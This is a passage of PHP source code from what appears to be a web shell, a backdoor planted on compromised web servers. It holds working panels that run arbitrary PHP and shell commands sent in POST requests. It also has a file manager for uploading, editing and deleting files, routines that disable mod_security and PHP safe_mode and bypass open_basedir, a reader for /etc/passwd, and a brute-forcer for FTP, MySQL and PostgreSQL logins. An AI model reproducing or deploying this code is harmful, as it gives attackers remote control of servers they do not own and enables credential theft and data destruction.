  672.                 .'<td class="listing">'.$values['access'].' </td></tr>';
  673.                 $tmp = ob_get_clean();
  674.         $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
  675.                 $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
  676.                 echo str_replace('<h1','<h2', $tmp) .'</div><br>';
  677.         }
  678.  
  679.     if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
  680.                 echo '<div class=content><style>.p {color:#000;}</style>';
  681.                 ob_start();
  682.                 phpinfo();
  683.                 $tmp = ob_get_clean();
  684.         $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
  685.                 $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
  686.                 echo str_replace('<h1','<h2', $tmp) .'</div><br>';
  687.         }
  688.     arHeader();
  689.     if(isset($_POST['p2']) && ($_POST['p2'] == 'exten')) {
  690.                 echo '<div class=content>';
  691.                 ob_start();
  692.              $EXT=get_loaded_extensions ();
  693.      print '<table border=0><tr><td class="listing">'
  694.         .implode('</td></tr>'."\n".'<tr><td class="listing">', $EXT)
  695.         .'</td></tr></table>'
  696.         .count($EXT).' extensions loaded';
  697.  
  698.  
  699.         echo '</div><br>';
  700.         }
  701.  
  702.  
  703.         if(empty($_POST['ajax']) && !empty($_POST['p1']))
  704.                 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
  705.     echo '<h1>Eval PHP-code</h1><div class=content><form name=pf method=post onsubmit="g(\'Eval\',null,this.code.value,\'\'); return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea> <input type=submit value=Eval style="width:6%;"> ';
  706.         echo '</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
  707.         if(!empty($_POST['p1'])) {
  708.                 ob_start();
  709.                 eval($_POST['p1']);
  710.                 echo htmlspecialchars(ob_get_clean());
  711.         }
  712.         echo '</pre></div>';
  713.     arFooter();
  714. }
  715.  
  716. function actionExpl() {
  717.     if (!empty ($_COOKIE['f']))
  718.         $_COOKIE['f'] = @unserialize($_COOKIE['f']);
  719.  
  720.     if(!empty($_POST['p1'])) {
  721.         switch($_POST['p1']) {
  722.         case 'uploadFile':
  723.                                 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
  724.                                         echo "Can't upload file!";
  725.                                 break;
  726.                         case 'mkdir':
  727.                                 if(!@mkdir($_POST['p2']))
  728.                                         echo "Can't create new dir";
  729.                                 break;
  730.             case 'delete':
  731.                                 function deleteDir($path) {
  732.                                         $path = (substr($path,-1)=='/') ? $path:$path.'/';
  733.                                         $dh  = opendir($path);
  734.                                         while ( ($item = readdir($dh) ) !== false) {
  735.                                                 $item = $path.$item;
  736.                                                 if ( (basename($item) == "..") || (basename($item) == ".") )
  737.                                                         continue;
  738.                                                 $type = filetype($item);
  739.                                                 if ($type == "dir")
  740.                                                         deleteDir($item);
  741.                                                 else
  742.                                                         @unlink($item);
  743.                                         }
  744.                                         closedir($dh);
  745.                                         @rmdir($path);
  746.                                 }
  747.                                 if(is_dir(@$_POST['p2']))
  748.                                 deleteDir(@$_POST['p2']);
  749.                                 else
  750.                                 @unlink(@$_POST['p2']);
  751.                                 break;
  752.                 default:
  753.                 if(!empty($_POST['p1'])) {
  754.                                         $_SESSION['act'] = @$_POST['p1'];
  755.                                         $_SESSION['f'] = @$_POST['f'];
  756.                                         foreach($_SESSION['f'] as $k => $f)
  757.                                                 $_SESSION['f'][$k] = urldecode($f);
  758.                                         $_SESSION['c'] = @$_POST['c'];
  759.                                 }
  760.                                 break;
  761.         }
  762.     }
  763.     arHeader();
  764.     echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
  765.     $dirContent = arScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
  766.     if($dirContent === false) {    echo 'Can\'t open this folder!';arFooter(); return; }
  767.     global $sort;
  768.     $sort = array('name', 1);
  769.     if(!empty($_POST['p1'])) {
  770.         if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
  771.             $sort = array($match[1], (int)$match[2]);
  772.     }
  773. echo "
  774. <table width='100%' class='main'>
  775. <form name=files method=post><tr><th>Name</th><th>Size</th><th>Modify</th><th>Owner:Group</th><th>Permis</th><th>Actions</th></tr>";
  776.     $dirs = $files = array();
  777.     $n = count($dirContent);
  778.     for($i=0;$i<$n;$i++) {
  779.         $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
  780.         $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
  781.         $tmp = array('name' => $dirContent[$i],
  782.                      'path' => $GLOBALS['cwd'].$dirContent[$i],
  783.                      'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
  784.                      'perms' => arPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
  785.                      'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
  786.                      'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
  787.                      'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
  788.                     );
  789.         if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
  790.             $files[] = array_merge($tmp, array('type' => 'file'));
  791.         elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
  792.             $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
  793.         elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != "."))
  794.             $dirs[] = array_merge($tmp, array('type' => 'dir'));
  795.     }
  796.     $GLOBALS['sort'] = $sort;
  797.     function arCmp($a, $b) {
  798.         if($GLOBALS['sort'][0] != 'size')
  799.             return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
  800.         else
  801.             return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
  802.     }
  803.     usort($files, "arCmp");
  804.     usort($dirs, "arCmp");
  805.     $files = array_merge($dirs, $files);
  806.     $l = 0;
  807.     foreach($files as $f) {
  808.         echo '<tr'.($l?' class=l1':'').'><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'Expl\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?arViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
  809.             .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">Rename</a>&nbsp;<a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">Touch</a>&nbsp;'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">Edit</a>&nbsp;<a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">Download</a>' :'').'&nbsp;<a href="#" onclick="g(\'Expl\',null,\'delete\', \''.urlencode($f['name']).'\')">Delete</a></td></tr>';
  810.         $l = $l?0:1;
  811.     }
  812.     echo "<tr><td colspan=7>
  813.        <input type=hidden name=a value='Expl'>
  814.        <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
  815.        <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
  816.        </form></table>
  817.        <form method='post' ENCTYPE='multipart/form-data'>
  818.                <input type=hidden name=a value='Expl'>
  819.                <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
  820.                <input type=hidden name=p1 value='uploadFile'>
  821.                <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
  822.                <input class='toolsInp' type=file name=f><input type=submit value='Upload' style='width:6%;'></form>
  823.        </div>";
  824.     arFooter();
  825.  
  826. }
  827.  
  828. function actionString() {
  829.         if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
  830.     if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
  831.         if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
  832.         if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
  833.         if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
  834.         $stringTools = array(
  835.                 'Base64 encode' => 'base64_encode',
  836.                 'Base64 decode' => 'base64_decode',
  837.                 'md5 hash' => 'md5',
  838.                 'sha1 hash' => 'sha1',
  839.                 'crypt' => 'crypt',
  840.                 'CRC32' => 'crc32',
  841.                 'Url encode' => 'urlencode',
  842.                 'Url decode' => 'urldecode',
  843.                 'Full urlencode' => 'full_urlencode',
  844.                 'Htmlspecialchars' => 'htmlspecialchars',
  845.  
  846.         );
  847.  
  848.     arHeader();
  849.         echo '<h1>Encode & Decode</h1><div class=content>';
  850.         if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  851.                 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  852.         echo "<form  onSubmit='g(null,null,this.selectTool.value,this.input.value); return false;'><select name='selectTool'>";
  853.         foreach($stringTools as $k => $v)
  854.                 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
  855.                 echo "</select><input type='submit' value='Do!' style='width:6%;' /><br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
  856.         if(!empty($_POST['p1'])) {
  857.                 if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
  858.         }
  859.         echo "</div>";
  860.     arFooter();
  861. }
  862.  
  863. function actionFilesTools() {
  864.     if( isset($_POST['p1']) )
  865.         $_POST['p1'] = urldecode($_POST['p1']);
  866.     if(@$_POST['p2']=='download') {
  867.         if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
  868.             ob_start("ob_gzhandler", 4096);
  869.             header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
  870.             if (function_exists("mime_content_type")) {
  871.                 $type = @mime_content_type($_POST['p1']);
  872.                 header("Content-Type: " . $type);
  873.             } else
  874.                 header("Content-Type: application/octet-stream");
  875.             $fp = @fopen($_POST['p1'], "r");
  876.             if($fp) {
  877.                 while(!@feof($fp))
  878.                     echo @fread($fp, 1024);
  879.                 fclose($fp);
  880.             }
  881.         }exit;
  882.     }
  883.     if( @$_POST['p2'] == 'mkfile' ) {
  884.         if(!file_exists($_POST['p1'])) {
  885.             $fp = @fopen($_POST['p1'], 'w');
  886.             if($fp) {
  887.                 $_POST['p2'] = "edit";
  888.                 fclose($fp);
  889.             }
  890.         }
  891.     }
  892.     arHeader();
  893.     echo '<h1>File tools</h1><div class=content>';
  894.     if( !file_exists(@$_POST['p1']) ) {
  895.         echo 'File not exists';
  896.         arFooter();
  897.         return;
  898.     }
  899.     $uid = @posix_getpwuid(@fileowner($_POST['p1']));
  900.     if(!$uid) {
  901.         $uid['name'] = @fileowner($_POST['p1']);
  902.         $gid['name'] = @filegroup($_POST['p1']);
  903.     } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
  904.     echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?arViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.arPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
  905.     echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
  906.     if( empty($_POST['p2']) )
  907.         $_POST['p2'] = 'view';
  908.     if( is_file($_POST['p1']) )
  909.         $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
  910.     else
  911.         $m = array('Chmod', 'Rename', 'Touch');
  912.     foreach($m as $v)
  913.         echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
  914.     echo '<br><br>';
  915.     switch($_POST['p2']) {
  916.         case 'view':
  917.             echo '<pre class=ml1>';
  918.             $fp = @fopen($_POST['p1'], 'r');
  919.             if($fp) {
  920.                 while( !@feof($fp) )
  921.                     echo htmlspecialchars(@fread($fp, 1024));
  922.                 @fclose($fp);
  923.             }
  924.             echo '</pre>';
  925.             break;
  926.         case 'highlight':
  927.             if( @is_readable($_POST['p1']) ) {
  928.                 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
  929.                 $code = @highlight_file($_POST['p1'],true);
  930.                 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
  931.             }
  932.             break;
  933.         case 'chmod':
  934.             if( !empty($_POST['p3']) ) {
  935.                 $perms = 0;
  936.                 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
  937.                     $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
  938.                 if(!@chmod($_POST['p1'], $perms))
  939.                     echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
  940.             }
  941.             clearstatcache();
  942.             echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value="Save!" style="width:6%;"></form>';
  943.             break;
  944.         case 'edit':
  945.             if( !is_writable($_POST['p1'])) {
  946.                 echo 'File isn\'t writeable';
  947.                 break;
  948.             }
  949.             if( !empty($_POST['p3']) ) {
  950.                 $time = @filemtime($_POST['p1']);
  951.                 $_POST['p3'] = substr($_POST['p3'],1);
  952.                 $fp = @fopen($_POST['p1'],"w");
  953.                 if($fp) {
  954.                     @fwrite($fp,$_POST['p3']);
  955.                     @fclose($fp);
  956.                     echo 'Saved!<br><script>p3_="";</script>';
  957.                     @touch($_POST['p1'],$time,$time);
  958.                 }
  959.             }
  960.             echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
  961.             $fp = @fopen($_POST['p1'], 'r');
  962.             if($fp) {
  963.                 while( !@feof($fp) )
  964.                     echo htmlspecialchars(@fread($fp, 1024));
  965.                 @fclose($fp);
  966.             }
  967.             echo '</textarea><input type=submit value="Save!" style="width:6%;"></form>';
  968.             break;
  969.         case 'hexdump':
  970.             $c = @file_get_contents($_POST['p1']);
  971.             $n = 0;
  972.             $h = array('00000000<br>','','');
  973.             $len = strlen($c);
  974.             for ($i=0; $i<$len; ++$i) {
  975.                 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
  976.                 switch ( ord($c[$i]) ) {
  977.                     case 0:  $h[2] .= ' '; break;
  978.                     case 9:  $h[2] .= ' '; break;
  979.                     case 10: $h[2] .= ' '; break;
  980.                     case 13: $h[2] .= ' '; break;
  981.                     default: $h[2] .= $c[$i]; break;
  982.                 }
  983.                 $n++;
  984.                 if ($n == 32) {
  985.                     $n = 0;
  986.                     if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
  987.                     $h[1] .= '<br>';
  988.                     $h[2] .= "\n";
  989.                 }
  990.              }
  991.             echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
  992.             break;
  993.         case 'rename':
  994.             if( !empty($_POST['p3']) ) {
  995.                 if(!@rename($_POST['p1'], $_POST['p3']))
  996.                     echo 'Can\'t rename!<br>';
  997.                 else
  998.                     die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
  999.             }
  1000.             echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value="Save!" style="width:6%;"></form>';
  1001.             break;
  1002.         case 'touch':
  1003.             if( !empty($_POST['p3']) ) {
  1004.                 $time = strtotime($_POST['p3']);
  1005.                 if($time) {
  1006.                     if(!touch($_POST['p1'],$time,$time))
  1007.                         echo 'Fail!';
  1008.                     else
  1009.                         echo 'Touched!';
  1010.                 } else echo 'Bad time format!';
  1011.             }
  1012.             clearstatcache();
  1013.             echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value="Save!" style="width:6%;"></form>';
  1014.             break;
  1015.     }
  1016.     echo '</div>';
  1017.     arFooter();
  1018. }
  1019.  
  1020. function actionExec() {
  1021.     if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
  1022.         arsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
  1023.         $_POST['p1'] .= ' 2>&1';
  1024.     } elseif(!empty($_POST['p1']))
  1025.         ARsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
  1026.  
  1027.     if(isset($_POST['ajax'])) {
  1028.         ARsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
  1029.         ob_start();
  1030.         echo "d.cf.cmd.value='';\n";
  1031.         $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".arEx($_POST['p1']),"\n\r\t\\'\0"));
  1032.         if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match))    {
  1033.             if(@chdir($match[1])) {
  1034.                 $GLOBALS['cwd'] = @getcwd();
  1035.                 echo "c_='".$GLOBALS['cwd']."';";
  1036.             }
  1037.         }
  1038.         echo "d.cf.output.value+='".$temp."';";
  1039.         echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
  1040.         $temp = ob_get_clean();
  1041.         echo strlen($temp), "\n", $temp;
  1042.         exit;
  1043.     }
  1044.     if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  1045.         ARsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
  1046.     arHeader();
  1047.     echo "<script>
  1048. if(window.Event) window.captureEvents(Event.KEYDOWN);
  1049. var cmds = new Array('');
  1050. var cur = 0;
  1051. function kp(e) {
  1052.    var n = (window.Event) ? e.which : e.keyCode;
  1053.    if(n == 38) {
  1054.        cur--;
  1055.        if(cur>=0)
  1056.            document.cf.cmd.value = cmds[cur];
  1057.        else
  1058.            cur++;
  1059.    } else if(n == 40) {
  1060.        cur++;
  1061.        if(cur < cmds.length)
  1062.            document.cf.cmd.value = cmds[cur];
  1063.        else
  1064.            cur--;
  1065.    }
  1066. }
  1067. function add(cmd) {
  1068.    cmds.pop();
  1069.    cmds.push(cmd);
  1070.    cmds.push('');
  1071.    cur = cmds.length-1;
  1072. }
  1073. </script>";
  1074.     echo '<h1>Execute</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
  1075.     foreach($GLOBALS['aliases'] as $n => $v) {
  1076.         if($v == '') {
  1077.             echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
  1078.             continue;
  1079.         }
  1080.         echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
  1081.     }
  1082.  
  1083.     echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value="Execte" style="width:6%;"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
  1084.     if(!empty($_POST['p1'])) {
  1085.         echo htmlspecialchars("$ ".$_POST['p1']."\n".arEx($_POST['p1']));
  1086.     }
  1087.     echo '</textarea><table style="border:1px solid #000099;background-color:#000;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
  1088.     echo '</form></div><script>d.cf.cmd.focus();</script>';
  1089.     arFooter();
  1090. }
  1091.  
  1092. function actionSafeMode() {
  1093.     $temp='';
  1094.     ob_start();
  1095.     switch($_POST['p1']) {
  1096.         case 1:
  1097.             $temp=@tempnam($test, 'cx');
  1098.             if(@copy("compress.zlib://".$_POST['p2'], $temp)){
  1099.                 echo @file_get_contents($temp);
  1100.                 unlink($temp);
  1101.             } else
  1102.                 echo 'Sorry... Can\'t open file';
  1103.             break;
  1104.         case 2:
  1105.             $files = glob($_POST['p2'].'*');
  1106.             if( is_array($files) )
  1107.                 foreach ($files as $filename)
  1108.                     echo $filename."\n";
  1109.             break;
  1110.         case 3:
  1111.             $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH);
  1112.             curl_exec($ch);
  1113.             break;
  1114.         case 4:
  1115.             ini_restore("safe_mode");
  1116.             ini_restore("open_basedir");
  1117.             include($_POST['p2']);
  1118.             break;
  1119.         case 5:
  1120.             for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
  1121.                 $uid = @posix_getpwuid($_POST['p2']);
  1122.                 if ($uid)
  1123.                     echo join(':',$uid)."\n";
  1124.             }
  1125.             break;
  1126.         case 6:
  1127.             if(!function_exists('imap_open'))break;
  1128.             $stream = imap_open($_POST['p2'], "", "");
  1129.             if ($stream == FALSE)
  1130.                 break;
  1131.             echo imap_body($stream, 1);
  1132.             imap_close($stream);
  1133.             break;
  1134.     }
  1135.     $temp = ob_get_clean();
  1136.  
  1137.     arHeader();
  1138.     echo '<h1>Safe mode fucker</h1><div class=content>';
  1139.          echo "<span>Following ==> ".$GLOBALS['cwd']." </span><p><br>";
  1140.     echo '<span>
  1141.    <a href=# onclick="g(null,null,null,null,\'sh\')">| PHP.INI |</a>&nbsp;
  1142.    <a href=# onclick="g(null,null,\'php.ini\',null)">| htaccess(mod) |</a>&nbsp;
  1143.    <a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(perl) |</a>&nbsp;
  1144.          </span>';
  1145.     if(!empty($_POST['p1']) && isset($_POST['p1']))
  1146.     {
  1147.     $fil=fopen($GLOBALS['cwd'].".htaccess","w");
  1148.     fwrite($fil,'<IfModule mod_security.c>
  1149. Sec------Engine Off
  1150. Sec------ScanPOST Off
  1151. </IfModule>');
  1152.     fclose($fil);
  1153.    }
  1154.    if(!empty($_POST['p3'])&& isset($_POST['p3']))
  1155.    {
  1156.     $fil=fopen($GLOBALS['cwd']."php.ini","w");
  1157.       fwrite($fil,'safe_mode=OFF
  1158. disable_functions=NONE');
  1159.      fclose($fil);
  1160.     }
  1161.     if(!empty($_POST['p2']) && isset($_POST['p2']))
  1162.     {
  1163.     $fil=fopen($GLOBALS['cwd'].".htaccess","w");
  1164.     fwrite($fil,'Options FollowSymLinks MultiViews Indexes ExecCGI
  1165. AddType application/x-httpd-cgi .sh
  1166. AddHandler cgi-script .pl
  1167. AddHandler cgi-script .pl');
  1168.      fclose($fil);
  1169.     }
  1170.  
  1171.     echo '<p><br /><span>Read /etc/passwd</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value="Get /etc/passwd" style="width:9%;"></form>';
  1172.     if($temp)
  1173.         echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
  1174.     echo '</div>';
  1175.     arFooter();
  1176. }
  1177. function actionLogout() {
  1178.     setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
  1179.     die('Bye!');
  1180. }
  1181.  
  1182.  
  1183. function actionRemove() {
  1184.  
  1185.     if($_POST['p1'] == 'yes')
  1186.         if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
  1187.             die('Shell has been removed');
  1188.         else
  1189.             echo 'unlink error!';
  1190.     if($_POST['p1'] != 'yes')
  1191.         arHeader();
  1192.     echo '<h1>Suicide</h1><div class=content>Really want to remove the shell ?&nbsp;&nbsp; <a href=# onclick="g(null,null,\'yes\')"><span><font color=Red>[Yes]</font></span></a></div>';
  1193.  
  1194.         arFooter();
  1195. }
  1196.  
  1197. function actionFTPB() {
  1198.     arHeader();
  1199.     if( isset($_POST['proto']) ) {
  1200.         echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
  1201.         if( $_POST['proto'] == 'ftp' ) {
  1202.             function arBruteForce($ip,$port,$login,$pass) {
  1203.                 $fp = @ftp_connect($ip, $port?$port:21);
  1204.                 if(!$fp) return false;
  1205.                 $res = @ftp_login($fp, $login, $pass);
  1206.                 @ftp_close($fp);
  1207.                 return $res;
  1208.             }
  1209.         } elseif( $_POST['proto'] == 'mysql' ) {
  1210.             function arBruteForce($ip,$port,$login,$pass) {
  1211.                 $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
  1212.                 @mysql_close($res);
  1213.                 return $res;
  1214.             }
  1215.         } elseif( $_POST['proto'] == 'pgsql' ) {
  1216.             function arBruteForce($ip,$port,$login,$pass) {
  1217.                 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
  1218.                 $res = @pg_connect($str);
  1219.                 @pg_close($res);
  1220.                 return $res;
  1221.             }
  1222.         }
  1223.         $success = 0;
  1224.         $attempts = 0;
  1225.         $server = explode(":", $_POST['server']);
  1226.         if($_POST['type'] == 1) {
  1227.             $temp = @file('/etc/passwd');
  1228.             if( is_array($temp) )
  1229.                 foreach($temp as $line) {
  1230.                     $line = explode(":", $line);
  1231.                     ++$attempts;
  1232.                     if( arBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
  1233.                         $success++;
  1234.                         echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
  1235.                     }
  1236.                     if(@$_POST['reverse']) {
  1237.                         $tmp = "";
  1238.                         for($i=strlen($line[0])-1; $i>=0; --$i)
  1239.                             $tmp .= $line[0][$i];
  1240.                         ++$attempts;
  1241.                         if( arBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
  1242.                             $success++;
  1243.                             echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
  1244.                         }
  1245.                     }
  1246.                 }
  1247.         } elseif($_POST['type'] == 2) {
  1248.             $temp = @file($_POST['dict']);
  1249.             if( is_array($temp) )
  1250.                 foreach($temp as $line) {
  1251.                     $line = trim($line);
  1252.                     ++$attempts;
  1253.                     if( arBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
  1254.                         $success++;
  1255.                         echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
  1256.                     }
  1257.                 }
  1258.         }
  1259.         echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
  1260.     }
  1261.     echo '<h1>FTP Brute</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
  1262.         .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
  1263.         .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
  1264.         .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
  1265.         .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
  1266.         .'<span>Server</span></td>'
  1267.         .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
  1268.         .'<tr><td><span>Brute type</span></td>'
  1269.         .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
  1270.         .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login)</label></td></tr>'
  1271.         .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
